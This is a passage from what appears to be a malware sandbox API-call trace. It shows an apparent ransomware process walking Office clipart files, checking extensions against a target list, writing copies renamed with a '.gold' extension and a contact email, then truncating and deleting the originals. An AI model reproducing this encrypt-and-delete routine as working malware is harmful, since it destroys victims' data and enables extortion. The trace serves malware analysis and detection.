(lpString1=".docx", lpString2="_.WMF") returned -1 [0048.466] lstrlenW (lpString=".pdf") returned 4 [0048.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString=".xls") returned 4 [0048.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.466] lstrlenW (lpString=".xlsx") returned 5 [0048.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.466] lstrlenW (lpString=".ppt") returned 4 [0048.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.466] lstrlenW (lpString=".zip") returned 4 [0048.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.467] lstrlenW (lpString=".rar") returned 4 [0048.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.467] lstrlenW (lpString=".bz2") returned 4 [0048.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.467] lstrlenW (lpString=".7z") returned 3 [0048.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.467] lstrlenW (lpString=".dbf") returned 4 [0048.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.467] lstrlenW (lpString=".1cd") returned 4 [0048.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0048.467] lstrlenW (lpString=".jpg") returned 4 [0048.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.467] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.467] lstrlenW (lpString="AN01039_.WMF") returned 12 [0048.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.467] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3344) returned 1 [0048.467] CloseHandle (hObject=0x178) returned 1 [0048.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0048.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.468] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.468] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.468] GetLastError () returned 0x0 [0048.468] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0xd10, lpOverlapped=0x0) returned 1 [0048.469] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0048.470] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.470] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.470] SetEndOfFile (hFile=0x20c) returned 1 [0048.470] CloseHandle (hObject=0x20c) returned 1 [0048.470] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.470] SetEndOfFile (hFile=0x178) returned 1 [0048.471] CloseHandle (hObject=0x178) returned 1 [0048.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0048.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.471] lstrlenW (lpString=".doc") returned 4 [0048.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.471] lstrlenW (lpString=".docx") returned 5 [0048.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.471] lstrlenW (lpString=".pdf") returned 4 [0048.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.471] lstrlenW (lpString=".xls") returned 4 [0048.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.471] lstrlenW (lpString=".xlsx") returned 5 [0048.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.471] lstrlenW (lpString=".ppt") returned 4 [0048.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.471] lstrlenW (lpString=".zip") returned 4 [0048.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.471] lstrlenW (lpString=".rar") returned 4 [0048.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.471] lstrlenW (lpString=".bz2") returned 4 [0048.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.471] lstrlenW (lpString=".7z") returned 3 [0048.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.471] lstrlenW (lpString=".dbf") returned 4 [0048.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.472] lstrlenW (lpString=".1cd") returned 4 [0048.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.472] lstrlenW (lpString=".jpg") returned 4 [0048.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.472] lstrlenW (lpString=".doc") returned 4 [0048.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString=".docx") returned 5 [0048.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.472] lstrlenW (lpString=".pdf") returned 4 [0048.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString=".xls") returned 4 [0048.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.472] lstrlenW (lpString=".xlsx") returned 5 [0048.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.472] lstrlenW (lpString=".ppt") returned 4 [0048.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.472] lstrlenW (lpString=".zip") returned 4 [0048.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.472] lstrlenW (lpString=".rar") returned 4 [0048.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString=".bz2") returned 4 [0048.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString=".7z") returned 3 [0048.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.472] lstrlenW (lpString=".dbf") returned 4 [0048.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.472] lstrlenW (lpString=".1cd") returned 4 [0048.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0048.472] lstrlenW (lpString=".jpg") returned 4 [0048.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.472] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.472] lstrlenW (lpString="AN01044_.WMF") returned 12 [0048.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.473] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1596) returned 1 [0048.473] CloseHandle (hObject=0x178) returned 1 [0048.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0048.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0048.473] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.473] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.473] GetLastError () returned 0x0 [0048.473] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x63c, lpOverlapped=0x0) returned 1 [0048.474] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x640, lpOverlapped=0x0) returned 1 [0048.475] ReadFile (in: hFile=0x178, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.475] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.475] SetEndOfFile (hFile=0x20c) returned 1 [0048.475] CloseHandle (hObject=0x20c) returned 1 [0048.475] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.476] SetEndOfFile (hFile=0x178) returned 1 [0048.476] CloseHandle (hObject=0x178) returned 1 [0048.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0048.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.477] lstrlenW (lpString=".doc") returned 4 [0048.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString=".docx") returned 5 [0048.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.477] lstrlenW (lpString=".pdf") returned 4 [0048.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString=".xls") returned 4 [0048.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.477] lstrlenW (lpString=".xlsx") returned 5 [0048.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.477] lstrlenW (lpString=".ppt") returned 4 [0048.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.477] lstrlenW (lpString=".zip") returned 4 [0048.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.477] lstrlenW (lpString=".rar") returned 4 [0048.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString=".bz2") returned 4 [0048.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString=".7z") returned 3 [0048.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.477] lstrlenW (lpString=".dbf") returned 4 [0048.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.477] lstrlenW (lpString=".1cd") returned 4 [0048.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.477] lstrlenW (lpString=".jpg") returned 4 [0048.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.477] lstrlenW (lpString=".doc") returned 4 [0048.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString=".docx") returned 5 [0048.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.477] lstrlenW (lpString=".pdf") returned 4 [0048.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString=".xls") returned 4 [0048.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.477] lstrlenW (lpString=".xlsx") returned 5 [0048.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.477] lstrlenW (lpString=".ppt") returned 4 [0048.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.477] lstrlenW (lpString=".zip") returned 4 [0048.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.477] lstrlenW (lpString=".rar") returned 4 [0048.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.477] lstrlenW (lpString=".bz2") returned 4 [0048.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.478] lstrlenW (lpString=".7z") returned 3 [0048.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.478] lstrlenW (lpString=".dbf") returned 4 [0048.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.478] lstrlenW (lpString=".1cd") returned 4 [0048.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0048.478] lstrlenW (lpString=".jpg") returned 4 [0048.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.478] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0048.478] lstrlenW (lpString="AN01060_.WMF") returned 12 [0048.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.485] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=7968) returned 1 [0048.485] CloseHandle (hObject=0x20c) returned 1 [0048.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0048.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.485] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.485] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0048.485] GetLastError () returned 0x0 [0048.485] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1f20, lpOverlapped=0x0) returned 1 [0048.487] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0048.487] ReadFile (in: hFile=0x20c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.487] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.488] SetEndOfFile (hFile=0x1e8) returned 1 [0048.488] CloseHandle (hObject=0x1e8) returned 1 [0048.488] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.488] SetEndOfFile (hFile=0x20c) returned 1 [0048.488] CloseHandle (hObject=0x20c) returned 1 [0048.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0048.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.489] lstrlenW (lpString=".doc") returned 4 [0048.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.489] lstrlenW (lpString=".docx") returned 5 [0048.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.489] lstrlenW (lpString=".pdf") returned 4 [0048.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.489] lstrlenW (lpString=".xls") returned 4 [0048.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.489] lstrlenW (lpString=".xlsx") returned 5 [0048.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.489] lstrlenW (lpString=".ppt") returned 4 [0048.489] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.489] lstrlenW (lpString=".zip") returned 4 [0048.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.489] lstrlenW (lpString=".rar") returned 4 [0048.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.489] lstrlenW (lpString=".bz2") returned 4 [0048.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0048.489] lstrlenW (lpString=".7z") returned 3 [0048.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0048.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.489] lstrlenW (lpString=".dbf") returned 4 [0048.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0048.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.489] lstrlenW (lpString=".1cd") returned 4 [0048.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0048.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.489] lstrlenW (lpString=".jpg") returned 4 [0048.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0048.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.490] lstrlenW (lpString=".doc") returned 4 [0048.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0048.490] lstrlenW (lpString=".docx") returned 5 [0048.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0048.490] lstrlenW (lpString=".pdf") returned 4 [0048.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0048.490] lstrlenW (lpString=".xls") returned 4 [0048.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0048.490] lstrlenW (lpString=".xlsx") returned 5 [0048.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0048.490] lstrlenW (lpString=".ppt") returned 4 [0048.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0048.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0048.490] lstrlenW (lpString=".zip") returned 4 [0048.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0048.490] lstrlenW (lpString=".rar") returned 4 [0048.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0048.490] lstrlenW (lpString=".bz2") returned 4 [0048.490] lstrcmpiW 